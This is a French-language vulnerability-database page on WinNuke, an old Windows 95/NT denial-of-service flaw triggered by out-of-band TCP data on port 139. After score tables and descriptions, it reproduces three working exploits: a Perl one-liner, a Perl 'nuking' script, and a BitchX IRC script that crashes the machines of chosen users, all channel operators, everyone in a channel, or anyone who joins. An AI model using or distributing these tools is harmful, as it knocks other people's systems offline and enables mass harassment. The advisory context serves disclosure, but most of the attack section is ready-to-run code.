CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Windows 95/NT out of band (OOB) data denial of service through NETBIOS port, aka WinNuke.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
12.89%
–
–
2022-04-03
–
–
12.89%
–
–
2022-07-17
–
–
12.89%
–
–
2022-07-24
–
–
12.89%
–
–
2022-11-13
–
–
12.89%
–
–
2022-11-20
–
–
12.89%
–
–
2022-11-27
–
–
12.89%
–
–
2023-01-01
–
–
12.89%
–
–
2023-02-26
–
–
12.89%
–
–
2023-03-12
–
–
–
0.17%
–
2023-04-02
–
–
–
0.17%
–
2023-08-27
–
–
–
0.17%
–
2024-02-11
–
–
–
0.3%
–
2024-06-02
–
–
–
0.3%
–
2024-12-15
–
–
–
0.3%
–
2024-12-22
–
–
–
0.3%
–
2025-01-19
–
–
–
0.3%
–
2025-01-19
–
–
–
0.3%
–
2025-03-18
–
–
–
–
7.23%
2025-03-30
–
–
–
–
26.28%
2025-03-30
–
–
–
–
26.28,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 1997-05-06 22h00 +00:00 Auteur : _eci EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/2010/info
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning.
perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"some.windoze.box:139")->send("bye",MSG_OOB)'
Date de publication : 1997-05-06 22h00 +00:00 Auteur : _eci EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/2010/info
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning.
#!/usr/bin/perl
# Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci
use strict; use Socket;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; }
$in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;
print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close S;
Date de publication : 1997-05-06 22h00 +00:00 Auteur : maddog & lerper EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/2010/info
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning.
# WinNuke BitchX IRC script/wnuke package v 1.5
# Created by maddog and lerper
# maddog@bitsmart.com, lerper@bitsmart.com
# WinNuke IRCers with several options:
# the nick you define
# all of the ops in your current channel
# anyone who joins a channel
# everyone in the channel
# Creditz:
# goes out to _eci for winnuke
# #BitchX for their great support
# #ircII for pretending to be asleep whenever i asked for help
# #hack for the laughs (hey--they were talking about vibrators last night)
# Micro$oft for hosting the hacking channels on comic chat
# KL and his LPLC LAX
# shout outs to the L0pht and hey to memebers of "CdC"
# notice: this package was created so more people could learn about winnuke
# and more winblows users could patch themeslves up.
# NOT so lame ircers could have their kicks
#Before using this script, compile the included winnuke.c
#cc -owinnuke winnuke.c should do the job!
#If you have a GNU compiler...replace the cc with gcc
#Then move the executable into your /usr/local/bin directory and
#chmod it with the access levels you wish.
assign wnuke_pgm wnuke
assign wn [wnuke w/ mass nuke features]
assign wi [winnuke commands]
eval echo $wn version 1.5 loading... [ by: maddog and the lerper ]
eval echo $wn type /whelp for commands
alias whelp {
eval echo $wi /wnuke <nick> - sends a win nuke to someone
eval echo $wi /mwnuke - sends a win nuke to everyone on a chan
eval echo $wi /awnuke - when someone joins, it nukes them too, effective
with
mwnuke
eval echo $wi /opwnuke - sends a win nuke to all ops
}
alias wnuke {
if ([$0]) {
^on ^311 "*" {^assign ndomain $3}
^on ^319 "*" #
^whois $0
wait
EVAL ^exec winnuke $1 $ndomain >/dev/null &
echo [wnuke] sent wnuke to $0 at $ndomain requested\.
^on 311 - "*"
^on 319 - "*"
^assign -ndomain
}
{
echo
echo Usage: /wnuke <nick>
}
}
/on -join * {@joinvar=[$0]}
alias awnuke { /on -join * {/wnuke $0}}
alias mwnuke { fe ($chanusers()) blah { /wnuke $blah }}
alias opwnuke { fe ($chops()) blah { /wnuke $blah }}